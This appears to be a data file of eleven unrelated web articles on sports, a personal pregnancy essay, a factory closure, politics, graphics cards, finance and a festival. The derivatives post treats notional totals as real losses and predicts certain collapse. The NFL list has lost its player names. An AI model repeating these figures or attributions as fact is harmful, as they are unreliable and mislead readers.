-We love to speculate on the next-generation of stars, players with a chance to take the next step in their careers, going from good to potentially great.  Heading into the 2016 season, I have a come up with a team that I call my Step-Up Team, players who have flashed early in their careers and now can take the next step on the path to being a star.  All the players are young, most in their second and third seasons in the league. That's why speculating can be tough, yet their limited resumes and game tapes help to give me the idea that they have the ability to turn it up a notch. Experience matters, and now they all have some. Maybe not enough yet for some, but they have games under their belts.  In a league where timetables are sped up now more than ever, the speed of the next step is crucial for the success of teams and the staying power of a coach. If the supposed candidates don't take that step, coaches will be fired and general mangers will likely be right behind.  So here's my team of the players I think take the next step in 2016.  Offense  He threw for 4,042 yards and 22 touchdowns as a rookie, but his completion percentage was only 58.3 percent and he threw 14 picks. Even so, he has the look of a future top-10 passer. His work ethic is outstanding and he loves the game. That matters.  He was really good as a rookie, rushing for 581 yards in part-time duty. I think he gets more of the rushing load this season, which means his numbers will go up. He's also a good receiver. He caught 36 passes last season. In his second season, he should be a 1,200-yard rusher with 50 catches.  I was going to put Dorial Green-Beckham here, but his trade to the Eagles changed that after the Titans gave up on him. So I went with Funchess. He came on strong late in 2015 and will be even better with a year under his belt. I thought he might be better suited as a tight end coming out of Michigan, but he's trimmed down some and developed into a big, strong receiver.  For a WR with his size and skill set, Funchess faces big expectations. USATSI  He had 51 catches with six touchdowns last season, and he really didn't get going until the second half. He is small, but he can fly. He's also a heck of a return man.  He caught a career-best 64 passes last season, but that was with Andrew Luck sitting much of the year. Now in his third season, he should push 80 catches this season. His yards-per catch should also go up from 11.5 last season.  Those who watch the tape know how good this kid is, but the majority of NFL fans don't. That's why he's on this list. He is a real talent and he's only 24 years old. He will be in the Pro Bowl this season.  When he played as a rookie last season, he was a mauler and a bruiser. This former college tackle has a chance to be special at guard. Teaming with Zack Martin, the Cowboys might have the best duo in the league.  La'el Collins should only continue to get better in Big D. USATSI  He is moving from right guard to center and the team is raving about his ability to pick up the mental game. He was a physical guard and should be a physical center. He might not be a Pro Bowl player this year, but he will be for a long time.  This player from small school Hobart College had a nice rookie season in 2015. He was good against the run and held up in pass protection. With a year of experience, he will be better in both.  On a Rams line that had issues last season, he was solid as a rookie at right tackle. He is a big, powerful player who is good in the run game. He surprised some with how well he handled himself in pass protection. He has missed the open of camp with a foot injury, but is expected to be ready for the opener.  Forget that he got paid a big deal. He's a player who hasn't lived up to the expectations yet. But I think in the Saints offense, with Drew Brees throwing to him, he will have a big-time season in terms of numbers. He's a perfect fit.  Defense  He isn't even a starter, but he might be by season's end. As a rookie last season, he had six sacks with just one start. At 6-foot-5, 252 pounds, he is a powerful rusher.  He impressed as a rookie last season, splitting time up front. But he has the talent to be a real force on their defense. He is big, strong and quick.  In 2015 as a rookie he was one of the best defenders on the Chicago defense. At 6-4, 320 pounds he is a power player but he can also push the pocket. He had 4.5 sacks last season.  When he played last season, he was an effective pass rusher. He didn't put up big sack numbers, but that's coming. As long as he's on the field, he will be a force off the edge for the Texans this year.  With J.J. Watt sidelined, the Texans need Clowney to be consistent. USATSI  He had four sacks as a rookie last season, but he had three of those in the final seven games. In the Cardinals defense, there's a need for an outside rusher to play a big role and this should be his time to do so.  He started nine games last season as a rookie and impressed as run defender. He's only 5-11, but he is a big-body player at 240 pounds and is more than willing to throw his body around. He needs to improve in coverage.  He had eight sacks in two starts last season, including five in the final three games. He had three in one game against the Eagles. At 6-5, 268 pounds he has speed of a player much smaller.  The Redskins are high on Smith. USATSI  The Packers have high hopes for this second-year player. He was a safety in college, but moved to corner last season as a rookie. He can play outside and in the slot.  He will be the "other" corner this season with Josh Norman on the roster. But he is a talented young player who loves matching up with top receivers.  He showed some real cover skills as a rookie last season. He is smooth, can lock down as a press-man player, and he is willing tackler. He will be in the Pro Bowl this season.  He struggled as a rookie in 2014 when asked to play more in coverage, but last year he fit better in the new scheme brought in with coach Todd Bowles. He is a big hitter who has improved in coverage.  Calvin Pryor can hit, but can he be more consistent in coverage? USATSI  He played corner and hybrid safety last year as a rookie, but he is a fill-time safety now. With his athletic ability, he would be a perfect player to have roaming in the middle of the field.
-She swallowed two pills with a sip of tap water and looked at me. I don’t know how she knew what was going through my mind — all the what-ifs and why-nots and should-haves. All the regret, and all the sadness, while I watched the person who used to call herself my boyfriend disappear with a sip of tap water. I didn’t miss having a partner who could pass as male. I didn’t even really miss straight privilege. It was something else.  “Would it make you happy,” she asked, “If we tried for a baby? Before it’s too late?”  We had talked about it off and on for months. We already had one child — our amazing little girl, who was born out of a previous relationship — but our little family still seemed like it was missing something. I found my eyes watering every time I held or saw a newborn baby. I would look at the old photos of my wife, a chubby-cheeked kid in boyish clothes that didn’t suit her, and I’d sigh. I felt like there was a child who I had known my whole life, a little boy with intense, dark eyes and an underbite. He was supposed to be part of our family.  We both knew that on hormone replacement therapy, she might have as many as two years of fertility left, or as few as three weeks. It wasn’t the best time. We were broke, we were young, we were stressed, and I had more than my fair share of health problems that I knew would make pregnancy difficult. But we knew it was now or never. There was always adoption, if we would ever be allowed to adopt, and there was always the option of using a donor, if we could ever afford it, but we both knew that putting our child into the realm of “one day” would mean writing him out of existence. “One day” would never come unless it was today.  Later that night, we were skin-to-skin under a pile of warm blankets. I ran my fingers through her black hair while we talked. Just tonight, we agreed. We’ll try tonight, and tonight only, and if it’s meant to be, it will happen. It wasn’t the most responsible possible plan for conceiving a baby, but it seemed right. I had never known my skeptical, atheist wife to put stock into the invisible cosmic force of “meant to be,” but the leap of faith gave me comfort. Sometimes, there’s something to be said for leaving the most difficult decisions in the hands of destiny.  I kissed her and she pulled away for just a moment. “You have to promise me,” she said, locking her eyes on mine, “Promise me that you will never, ever call me the father.”  I promised.  Last week, my wife and daughter sat by the examination table while an ultrasound technician pressed a wand against my swollen belly. A grainy black-and-white image developed on the screen: a fluttering heart. A little round head. Tiny arms and legs. I felt a tiny quiver when it raised its hand — five little fingers — as if it were waving hello to us. I smiled and looked at my wife, who suddenly burst into a high-pitched fit of tears. I knew what was happening to her. It hadn’t really hit her that the baby was real. Not until she saw it.  The sonographer smiled at both of us. I wondered how many times she had witnessed this scene in her career. She moved the wand a little to my left and smiled again.  “It’s a boy.”  I already knew — I’d told my wife that I was sure it was a boy, just two weeks after we conceived — but, in my mind, I put an asterisk next to the word. It’s a boy, until and unless he tells us otherwise, I thought. It’s a boy who will be raised without gender roles. It’s a boy who will be defined by his heart and mind, not by the organs that happen to be between his legs. It’s a boy who will be loved wholly, deeply, and completely by the two women who created him.  A preacher in North Carolina wants to send gay couples to concentration camps, where he says we will become extinct, along with our queer genes, within a generation. “You know why? They can’t reproduce!”  My stepmother says that being gay doesn’t make sense, because two men and two women have never, “in the history of the world,” conceived a child together.  Sixty-two percent of people in my home state vote against marriage equality. Their number-one argument is that queer families aren’t real families. Most of us — or, by their perception, all of us — can’t have children who are biologically related to both of their parents. That, they say, makes our love unnatural, and even sinful. I’ve often wondered when they’ll start trying to ban postmenopausal women and other infertile people from marrying.  Here, there be dragons. We aren’t the first queer couple to conceive a child, and we won’t be the last, either. But this territory is strange and uncharted, and it often feels like we’re alone. After scouring the whole online globe, I found a total of two other couples like us who are expecting babies this year. The conversations have been strained. We’re looking at each other and desperately hoping that at least someone might know what we’re supposed to do next.  Our baby will be born this summer and will join the family with two loving moms, one doting big sister, a hyperactive dog, and two purring kitties. I don’t know what the future has in store for our family, or, in particular, for my son. I don’t know how much his rights will be limited by our relationship, or if boys really do have a need for masculine role models, or when we will all grow exhausted with the people who lean in close and ask, “Is she the dad?” I do know that our son will never once doubt that he is loved and wanted, and I’m grateful every day that we have the rare and wonderful opportunity to be his mothers.  Special Note: Autostraddle’s “First Person” column exists for individual queer ladies to tell their own personal stories and share compelling experiences. These personal essays do not necessarily reflect the ideals of Autostraddle or its editors, nor do any First Person writers intend to speak on behalf of anyone other than themselves. First Person writers are simply speaking honestly from their own hearts.
-beyondthebreach:  The LAST COPIES left over of Beyond the Breach are up for sale! Grab one over here!  http://beyondthebreach.storenvy.com/  (Please limit yourself to one book. Since there is no more after this, we want to do whatever we can to make sure the people that wanted one can get one.)  PLEASE BE CAREFUL! Since these are the LAST copies of Beyond the Breach, make doubly sure your address is correct if you are ordering. I thankfully had only one lost book in the first batch that sold, so we’re doing pretty good, but it could happen. And if it does happen, I don’t have replacement copies to send out and will simply have to offer you a refund. Just be careful, and if you know you’ve had problems receiving things in the mail before, perhaps ask a friend to get it shipped to them. If you’re making an international order and certain things have made shipments to you difficult, feel free to email me and let me know what I can do with your order to ensure it makes it to you.  If the listing says it is sold out, or the storefront is closed, then the books have all sold and that’s it! I’ll be making donations with the excess funds before the year is out. :)  Thank you everyone!
-Image caption The abandoned factory, which made landline and coin-operated telephones, closed in 2000  Donald Trump says he would bring back outsourced manufacturing jobs from Mexico and China. There's a factory that is a symbol of outsourcing.  "You thought you had a job for life," says Gregg Trusty. "As long as you didn't show up to work drunk or punch your supervisor, you thought you could work there until you retired."  A wander around the factory Trusty is talking about gives a stark example of the precarious nature of the American economy today.  The gigantic Western Electric plant in Shreveport, Louisiana was once one of the country's biggest producers of telephones. Now it's abandoned, the machinery silently rusting. Nature creeps in on all sides. Dusty papers sit on desks and lights still blaze on to empty factory floors, as if the people working there were forced to leave in a hurry.  If you want to understand how Donald Trump has tapped into economic insecurity across America, this humid city of 200,000 in northern Louisiana is an excellent place to start. Western Electric was the wholly-owned manufacturing arm of corporate behemoth AT&T, which for most of the 20th Century held a monopoly on the US telephone business.  At its height, the company employed 7,500 people at its Shreveport plant. But long before the rise of Chinese competition, the ubiquity of the mobile phone and the North American Free Trade Agreement with Canada and Mexico - which Trump has called "worst trade deal ever" - the factory's future was clear.  Starting in the 1980s, AT&T slashed its domestic workforce and moved telephone manufacturing to Singapore.  "There was a feeling of disappointment," says Don Corliss, who worked at the plant for 25 years. "We moved from a manufacturing economy to a service economy.  "Did the average worker on the shop floor realise what was hitting them? I don't know."  Image caption Don Corliss worked at the plant for 25 years  Several factors led to the factory's closure. In 1984, a lawsuit ended AT&T's monopoly and opened up American telecommunications to competition. And, of course, the last 30 years have seen unprecedented international competition and technological change.  When Trusty moved here from the Midwest in the late 1960s he recalls that big celebrations would be held every time the plant added an additional 1,000 jobs, which in the early days happened every few years.  Later, as part of the company's public relations team, he would face the local media to announce round after round of layoffs.  "One time I was asked a question about how it made me feel," he says. "I told the reporter straight: 'We've lost some damn fine people today.'  "I meant it. It hurt, every time we did it. It was painful."  Image caption One of the coin operated phones manufactured by the Shreveport factory  After years of job losses, the plant, located in the Southern Hills area of Shreveport, closed for good in 2000. The fortunes of the workers themselves varied. Many retired, while others shifted gears with the aid of generous redundancy packages and company-funded education grants. Trusty worked in other jobs in public relations and journalism. Other former employees became small business owners, consultants, care home workers - and in one case, an elected state politician.  Randy Doss started on the factory floor and later became a supervisor. After he left the company in 1995, Doss ran a local transportation business with his wife before retiring earlier this year.  "We all had a sense of security. We thought we were fine," he says. "And we all bit the dust."  Despite that, Doss says he holds no ill will towards the company.  "It's a business decision pure and simple, and they could make phones cheaper elsewhere. That's business."  In Shreveport the absence of manufacturing jobs is palpable. Another iconic American company, General Motors, shut its local factory in 2012. That set off a wave of job losses at local suppliers, and today there's little heavy industry left.  Find us on Facebook  Harold Sater of the Southern Hills Business Association says the area around the AT&T plant suffered for years and despite rows of busy restaurants, petrol stations and other small businesses nearby, it doesn't quite compare to AT&T's heyday.  "The traffic you see now is just starting to come back to the levels back then," he says.  There were knock-on effects. Richard Corbett, the business association's current president, says crime increased in the area - a trend he saw first-hand in his day job as a local sheriff.  "It's simple. Fewer jobs nearby means fewer people came to the area to shop," Corbett says. "That led to problems and we're still working through them today."  Yet Shreveport does seem different from those Midwestern cities that were strangled by loss of their main industries.  BBC Newsnight: Trump's appeal in Ohio  The economy here shifted and diversified. It's a regional centre for health care. Nearby oil and gas reserves have provided jobs, although that industry has gone through boom and bust. There's a large military base nearby and the city once had a thriving film industry lured in by tax breaks.  Meanwhile, casinos dotted along the Red River have led to a small revival downtown. The city's growth has slowed, but its population is stable - there's been no mass exodus.  Although most of the former AT&T site is abandoned, a couple of companies have moved in. One is even a small-scale manufacturer. Skyrunner is making futuristic recreational vehicles that can both drive and fly. The company is perfecting its designs and aims to ship its products around the world.  Image caption One of the vehicles that Skyrunner is making in one corner of the old AT&T site  What's missing is big industry of the kind that provides that elusive path for the low- and semi-skilled workers.  "We're still working on getting good-paying jobs for those people," says Sater. "There's almost nothing that pays $15 an hour outside of work on oil and gas fields. That's frustrating."  AT&T, meanwhile, no longer manufactures telephones in Singapore or anywhere else. It's a technology and media company. Its latest move is a bid to buy Time Warner, a proposal that both Democrats and Republicans are concerned about.  Among the firm's former employers in Shreveport, faith in Trump and his economic plan is decidedly mixed. Some, like Corliss, say they'll vote for him but only because they dislike Hillary Clinton more.  Doss is a staunch Trump supporter. He says he believes the Republican candidate when he says he can bring back manufacturing jobs to the US, even though he's thin on specifics. For Doss, like for many Trump supporters across the country, voting for Trump is a leap of faith.  "I don't know how he's going to do it," Doss says, "but I think that he can."  Join the conversation - find us on Facebook, Instagram, Snapchat and Twitter
-65daysofstatic have mostly been playing in cinemas recently, namely to the tune of their fine Silent Running soundtrack album. Once the movie tour was complete though they headed into the wilds of the Kent countryside, and dropped in at our Coach Road Studios to play a few songs with us. Cramming the studio with more gear than ever before, we spent an afternoon recording the songs ‘Dance Dance Dance, Piano Fights and Debutante’ from their long player ‘We Were Exploding Anyway’ (Monotreme Records). Finishing up with the epic ‘Burial Scene’ from that movie soundtrack our afternoon was complete…  The band are venturing out in March to play a few dates around Europe so check out their website for details on this and to how get hold of the Silent Running soundtrack.  In related news 65DOS band member Paul Wolinski has also just released his single AWaltzOfLight under the guise of ‘Polinski’, with all proceeds going to Oxfam. This is an alternate version to the one on his debut album ‘Labyrinths’ which is out now on Monotreme Records. Find out more about that here.  Enjoy XO
-Congress has reliably defeated efforts to end the Afghan War on the back of strong support from a number of Representatives who have never seen a war they didn’t like. Today’s highly anticipated vote was assumed to be a defeat before it began, but turned out extremely close.  Indeed, though the amendment was defeated, it lost only 204-215, and carried more than 90% of the sitting Democratic representatives. With the bipartisan bill also carrying a number of freshmen Republicans’ support, a couple of shifts here or there could have actually swung the vote the other way, and left President Obama’s ambition to keep the war going beyond 2014 in an awful mess.  The amendment would’ve called on the administration to begin wrapping up the war and negotiating a settlement that would allow for a pullout. A much more aggressive version sponsored by Rep. Chaffetz (R – UT) was also voted on, falling 123-294.  The Chaffetz Amendment was far more ambitious and would’ve required a full withdrawal of all US forces from Afghanistan within 60 days. The closer amendment, sponsored by Jim McGovern (D – MA) did not set any explicit dates.  The loss is still surely a disappointment, but when one considers that the 2010 vote on materially the same amendment got only 138 yes votes, there is no doubt which side the momentum is on. It also means the 2012 vote, and surely there will be one, will not be presumed to be a “slam dunk” for the administration going in.  The combination of the two votes also shows that the antiwar sentiment is surprisingly deep. The Chaffetz amendment still managed to carry a solid majority of President Obama’s own party, and the McGovern amendment came within a hair’s breadth of passing.  Polls have long showed the American publicly squarely against the already decade-long war. Today’s vote suggests that while Congress has still not caught up with public opinion, they are coming around slowly but surely. Assuming that the war continues to grow less popular throughout the year, both amendments can probably count on picking up additional support among representatives ahead of the 2012 election.  Not only that, but the votes show Republican opposition growing largely on the basis of incoming freshmen. This suggests that while the “old-hand” politicians can be stubbornly reluctant to abandon an unpopular conflict they voted for at one point, as they get filtered out this lingering support eventually crumbles. Despite administration claims to the contrary, public opposition can eventually end America’s wars.  Last 5 posts by Jason Ditz
-You probably haven’t seen these pictures yet. Here are some first custom RX 470 cards..  Gigabyte RX 470 G1 Gaming OC 4GB  Dual-fan WindForce cooler, RGB lightning, factory-overclocking.  ASUS RX 470 STRIX 4GB  Brand new Dual-fan DirectCU cooler mounted on custom PCB.  XFX RX 470 4GB Black Edition  The RX 470 and RX 480 Black Edition are quite the same, except RX 470 is slightly narrower and has clearly visible copper heat pipe.  Bonus: Sapphire RX 460 2GB Dual  This the same card that was leaked along with RX 470 Platinum edition. I don’t think Polaris 11 requires two fans, but maybe this card features 0db technology, thus larger heat sink.  Bonus: XFX RX 460 Mini  by WhyCry Tweet  Previous Post  GeForce GTX 1070 Mobile and Radeon R9 M480 benchmarks leaked Next Post  AMD Radeon RX 470 Reviews  Please enable JavaScript to view the comments powered by Disqus.
-467 SHARES Share Tweet  Today there is a horrific derivatives bubble that threatens to destroy not only the U.S. economy but the entire world financial system as well, but unfortunately the vast majority of people do not understand it. When you say the word “derivatives” to most Americans, they have no idea what you are talking about. In fact, even most members of the U.S. Congress don’t really seem to understand them. But you don’t have to get into all the technicalities to understand the bigger picture. Basically, derivatives are financial instruments whose value depends upon or is derived from the price of something else. A derivative has no underlying value of its own. It is essentially a side bet. Originally, derivatives were mostly used to hedge risk and to offset the possibility of taking losses. But today it has gone way, way beyond that. Today the world financial system has become a gigantic casino where insanely large bets are made on anything and everything that you can possibly imagine.  The derivatives market is almost entirely unregulated and in recent years it has ballooned to such enormous proportions that it is almost hard to believe. Today, the worldwide derivatives market is approximately 20 times the size of the entire global economy.  Because derivatives are so unregulated, nobody knows for certain exactly what the total value of all the derivatives worldwide is, but low estimates put it around 600 trillion dollars and high estimates put it at around 1.5 quadrillion dollars.  Do you know how large one quadrillion is?  Counting at one dollar per second, it would take 32 million years to count to one quadrillion.  If you want to attempt it, you might want to get started right now.  To put that in perspective, the gross domestic product of the United States is only about 14 trillion dollars.  In fact, the total market cap of all major global stock markets is only about 30 trillion dollars.  So when you are talking about 1.5 quadrillion dollars, you are talking about an amount of money that is almost inconceivable.  So what is going to happen when this insanely large derivatives bubble pops?  Well, the truth is that the danger that we face from derivatives is so great that Warren Buffet has called them “financial weapons of mass destruction”.  Unfortunately, he is not exaggerating.  It would be hard to understate the financial devastation that we could potentially be facing.  A number of years back, French President Jacques Chirac referred to derivatives as “financial AIDS”.  The reality is that when this bubble pops there won’t be enough money in the entire world to fix it.  But ignorance is bliss, and most people simply do not understand these complex financial instruments enough to be worried about them.  Unfortunately, just because most of us do not understand the danger does not mean that the danger has been eliminated.  In a recent column, Dr. Jerome Corsi of WorldNetDaily noted that even many institutional investors have gotten sucked into investing in derivatives without even understanding the incredible risk they were facing….  A key problem with derivatives is that in the attempt to reduce costs or prevent losses, institutional investors typically accepted complex risks that carried little-understood liabilities widely disproportionate to any potential savings the derivatives contract may have initially obtained.  The hedge-fund and derivatives markets are so highly complex and technical that even many top economists and investment-banking professionals don’t fully understand them.  Moreover, both the hedge-fund and the derivatives markets are almost totally unregulated, either by the U.S. government or by any other government worldwide.  Most Americans don’t realize it, but derivatives played a major role in the financial crisis of 2007 and 2008.  Do you remember how AIG was constantly in the news for a while there?  Well, they weren’t in financial trouble because they had written a bunch of bad insurance policies.  What had happened is that a subsidiary of AIG had lost more than $18 billion on Credit Default Swaps (derivatives) it had written, and additional losses from derivatives were on the way which could have caused the complete collapse of the insurance giant.  So the U.S. government stepped in and bailed them out – all at U.S. taxpayer expense of course.  But the AIG incident was actually quite small compared to what could be coming. The derivatives market has become so monolithic that even a relatively minor imbalance in the global economy could set off a chain reaction that would have devastating consequences.  In his recent article on derivatives, Webster Tarpley described the central role that derivatives now play in our financial system….  Far from being some arcane or marginal activity, financial derivatives have come to represent the principal business of the financier oligarchy in Wall Street, the City of London, Frankfurt, and other money centers. A concerted effort has been made by politicians and the news media to hide and camouflage the central role played by derivative speculation in the economic disasters of recent years. Journalists and public relations types have done everything possible to avoid even mentioning derivatives, coining phrases like “toxic assets,” “exotic instruments,” and – most notably – “troubled assets,” as in Troubled Assets Relief Program or TARP, aka the monstrous $800 billion bailout of Wall Street speculators which was enacted in October 2008 with the support of Bush, Henry Paulson, John McCain, Sarah Palin, and the Obama Democrats.  But wasn’t the financial reform law that Congress just passed supposed to fix all this?  Well, the truth is that you simply cannot “fix” a 1.5 quadrillion dollar problem, but yes, the financial reform law was supposed to put some new restrictions on derivatives.  And initially, there were some somewhat significant reforms contained in the bill. But after the vast horde of Wall Street lobbyists in Washington got done doing their thing, the derivatives reforms were almost completely and totally neutered.  So the rampant casino gambling continues and everybody on Wall Street is happy.  For now.  One day some event will happen which will cause a sudden shift in world financial markets and trillions of dollars of losses in derivatives will create a tsunami that will bring the entire house of cards down.  All of the money in the world will not be enough to bail out the financial system when that day arrives.  The truth is that we should have never allowed world financial markets to become a giant casino.  But we did.  Soon enough we will all pay the price, and when that disastrous day comes, most Americans will still not understand what is happening.
-A ban on bananas has been imposed in a small Scottish town as it prepares for its biggest weekend of the year – the Aberdeen Asset Management Scottish Traditional Boat Festival.  Superstitious seafarers regard bananas as bad luck on board boats and festival organisers have come up with the unusual move to ward off any potential misfortune to the North-east’s biggest maritime celebration, which takes place in Portsoy on July 4 and 5.  Banana ban signs have been posted, a banana amnesty has been introduced and local businesses have come out in support of the action, with Portsoy Ice Cream removing banana flavoured ices from its range until after the event.  Roger Goodyear, chairman of the Aberdeen Asset Management Scottish Traditional Boat Festival, says: “Bananas may be a delicious fruit but they are considered bad luck on boats.  “We want to do everything possible to make sure our 2015 festival is a success and we don’t want to take any chances. Our ban on bananas is a tongue-in-cheek nod to our seafaring heritage and is a reminder that the ocean can be a mystical, but dangerous, place and as such there are many traditional superstitions among fisher people.”  There are several theories on why people believe bananas are bad luck for a boat.  One is that back in the early days of the banana trade, crews would overload the banana boats when leaving the tropics, resulting in the boats capsizing in bad weather.  Another is that wooden sailing boats involved in the Caribbean trade of the 1700s had to move so quickly to deliver bananas before they spoiled that the crew had a hard job catching fish  It’s suggested that bananas harboured dangerous spiders whose bite could be painful or even fatal. Or could it be that discarded banana skins left on deck could cause crew members to slip and fall?  Although a banana ban is now in place, there will be plenty of tempting local produce at the boat festival. To celebrate the Year of Food and Drink Scotland 2015, the festival will celebrate Scotland’s fantastic natural larder and exceptional natural produce, as well as the landscapes, people and culture that make the nation’s food heritage unique.  Traditional wooden boats from all over the UK and beyond will converge on the historic 17th century harbour while visitors will have the opportunity to build and restore traditional vessels, learn how to sail a coracle and watch the skiffs go head to head for the highly competitive open seas regatta.  With beautiful boats, exhilarating skiff races on the open seas, seafaring and rural craft demonstrations, music and dance and food and drink, the festival annually attracts thousands of visitors, delivering a financial boost to the area.  Mr Goodyear adds: “As one of Scotland’s leading events, The Aberdeen Asset Management Scottish Traditional Boat Festival is renowned for its creative offerings and 2015 is no different. As the festival attracts more historic vessels, craft exhibitors, artists, performers and musicians than ever before, visitors will be involved, inspired and engaged throughout. From toe tapping folk music and unique handmade products, to delicious fresh smoked kippers and seasonal treats there will be something for the whole family to enjoy.”  For more information about the Festival and to buy tickets visit www.stbfportsoy.com  Updates about this year’s festival are also available on Facebook and Twitter – search for @STBFestival. Join in the conversation at #bananaban  An adult day ticket to the festival costs £9, children aged five to 16 and concessions are £5. Adult weekend tickets are priced at £14 and children and concessions at £8. There are also family tickets available which allow entry for two adults and three children for £25 for a day ticket and £35 for a weekend. Children under five go free. Save 10% if purchased online. Car parking is available and costs £2, with the price including a brochure.  About The Author  Let us know what you think  comments
-Media playback is not supported on this device Meet England's beach soccer team  Sun, sea, sand and skilful players make arguably the perfect kickabout. Add in the dream chance to represent your country and some might say you have the perfect pastime.  But playing beach soccer for England is no holiday, as the national women's team have found out, undergoing training for the first ever Women's Beach Soccer European Championships.  From intensive fitness drills to goalkeepers scoring bicycle kicks and volleys, what exactly is the sport of beach soccer?  Rules that 'encourage skilful, attacking play'  With five players on each team playing over three 12-minute periods, with rolling substitutions, it is a fast-paced game which typically sees plenty of goals scored.  "When you are fouled, the person that was fouled has to take the free-kick and you make a little sandcastle to take the kick from," striker Gemma Hillier told BBC Sport.  "When the ball goes off to the side, you can either take a throw or kick it back in."  England in training at Canford Cliffs beach, Poole, Dorset  Manager Perry Northeast told BBC South Today: "It is physically draining and really demanding. Technically there are many differences.  "There are lots of different laws of the game that encourage the attacking side to come out. It's a very skilful, attack-minded game and the environment it creates is a really good vibe."  Goalkeepers that score volleys  England's main goalkeeper, Lucy Quinn, is also a midfielder at Women's Super League Two club Yeovil Town Ladies, but goalkeepers in beach soccer form a key part of the attack.  But how did a winger end up playing in goal for her country - and scoring?  "It's important in beach soccer that the goalkeeper is really confident and uses their feet a lot," she told BBC Sport. "The goalkeeper can only have it back in their hands once per phase of play.  "We just thought we'd try it out, with me in goal. I'm the one in training that gets in nets and throws myself around. I must have done alright, I suppose.  "We went away to Italy recently and space opened up so I had a few volleys, and scored a couple, which is always good.  "On the sand, you can't really have it on the floor too much. Most of it is up in the air, it's exciting games - volleys, bicycle and diving headers, so the majority of the goals are scored from play up in the air."  Winger Sarah Kempson added: "The keeper is pretty vital, using their feet far more than they do on grass.  "It's quite common for them to flick it up, self-set and shoot, because generally they're unmarked unless you have a pressing player. The keeper is the key player, your anchor of the team."  Carrying the flag  The first ever Women's European Championships for beach soccer, held in Portugal from 29-31 July, involves six international teams.  The England team all train part-time alongside full-time jobs, as well as training for their respective grass football teams. For them, the tournament is a dream chance to fly the national flag.  "It is that amazing feeling, walking out in front of a crowd with the England badge on, that you dream about. We're all lucky to be here and we love it," added Quinn.  England have been drawn in Group B for the European Championships  The team say they have taken inspiration from England's success at the 2015 Women's World Cup in Canada, where the Lionesses finished third.  "They did so well and were so inspirational for girls playing any sport, whether it be hockey, rugby or anything else, but particularly being so similar to our sport, we aspire to be as successful as they've been," continued Quinn.  England have been drawn to face Switzerland and Greece, who met during the opening day's play on Friday.  "Switzerland have been our nemesis in a way," added Kempson. "We're yet to beat them. They're probably one of the best teams on sand, both their men and women - despite not having any (coastal) beaches, which is quite strange.  "Greece are a bit of an unknown. They're probably very similar to us, having recently started up.  Group B fixtures Friday 29 July: Switzerland 7-3 Greece (result) Saturday 30 July: England v Switzerland Saturday 30 July: Greece v England Group A draw: Portugal (hosts), Spain & The Netherlands Final & play-offs: Sunday 31 July  "Our team started up around four or five years ago and I've been involved for three years. It's really started to take off now, we've been getting some new players in and have really strengthened our side quite a lot this year."  Former Portsmouth Ladies manager Northeast is also part of the England's male beach soccer squad and previously coached many of the current side at Portsmouth.  He led Portsmouth to the Women's Premier League South Division title in 2014-15, narrowly missing out on promotion to the WSL with an extra-time loss to northern champions Sheffield FC in a play-off.  Portsmouth FC Ladies lost just two regular league games under Perry Northeast in the 2014-15 season  Now he is hoping to guide England's women to success in an international tournament.  "If we can have a good tournament, that can encourage more people to come and play the game, male and female," he said.  "Switzerland are very strong - if not the best in Europe. But we've never played Greece. So it's difficult to predict right now, where we're going to finish, but as long as the players give everything they can, we can have a good tournament.  "We've got plenty of sand experience now and international experience, so we're good enough to do well."  Additional reporting by BBC South Today's Jenna Hawkey.
-Introduction  Sen. Thad Cochran, R-Miss., left, speaks at an awards banquet in Pearl, Miss., ahead of his election showdown against tea party-backed challenger Chris McDaniel. Rogelio V. Solis/AP  A U.S. Senate primary dominated by super PACs and nonprofit groups is headed into overtime.  Neither incumbent Sen. Thad Cochran, R-Miss., nor Chris McDaniel, his tea party challenger, on Tuesday mustered the requisite 50 percent of votes needed to propel them from one of the nation’s most contentious intramural battles toward an likely trip to Capitol Hill.  Unless a final batch of uncounted votes dramatically swing they way of one candidate over the other today, Cochran and McDaniel now square off again in a June 24 runoff emblematic of a broader GOP civil war pitting party standard bearers against tea party insurgents.  That likely means three more weeks of freewheeling spending by a gaggle of outside organizations — some with few ties to Mississippi, a state of fewer than 3 million people — that have dominated the race.  Super PACs, nonprofit groups and other political committees spent more than $8 million to beat down or boost up their candidate of choice, generally through television, radio, mail and phone ads, according to a Center for Public Integrity analysis of federal disclosures.  Cochran and McDaniel together controlled less than two-fifths of the $13.4 million that poured into their primary fracas.  Nevertheless, when the money the candidates themselves raised for their primary campaigns is added to the money spent by supportive outside groups, the results are nearly even: Team Cochran controlled about $6.9 million, Team McDaniel about $6.5 million.  Most of the outside spending in Mississippi’s Senate primary — $5.26 million — benefited McDaniel, with tea party super PACs Club for Growth Action, Senate Conservatives Action and FreedomWorks for America investing the most.  But their often negative ad barrages forced Cochran, seeking a seventh term, to kick his own campaign operation into fundraising hyperdrive to keep pace.  Cochran had little choice, as outside organizations supporting his re-election spent barely half of what pro-McDaniel groups did.  Of particular note: In the three weeks leading up to today’s vote, Cochran amassed more than $335,100 in four-figure campaign contributions — he won’t report his smaller donations until later this month — and personally secured a $150,000 loan to his campaign from a Mississippi bank.  McDaniel’s campaign, meanwhile, generated less than $60,000 in such contributions, federal records indicate.  The incumbent’s most generous air cover came from the Mississippi Conservatives Fund super PAC, the mainstream Republican-backing U.S. Chamber of Commerce, the National Association of Realtors Congressional Fund and the American Hospital Association PAC, federal records show.  During the entirety of the race, Cochran’s campaign committee outraised McDaniel’s campaign committee by a more than 3-to-1 margin: $4.1 million versus $1.22 million.  Mississippi’s imbalance between candidate and special interest spending is remarkable for its rarity.  During the 2012 election cycle, outside political groups didn’t once outspend candidates in their own U.S. Senate primary races, according to data provided to the Center for Public Integrity by the Center for Responsive Politics. It happened just one time — in Arkansas — in 2010.  It’s easier than ever for non-candidate committees to act as prominent forces in political races thanks to the Supreme Court’s 2010 decision in Citizens United v. Federal Election Commission, which allowed corporations, nonprofits, unions and special interests to raise and spend unlimited amounts of money to advocate for or against politicians.  Mississippi’s primary slugfest also marks a far cry from 2008, when Cochran raised just $2.7 million during his entire re-election campaign.
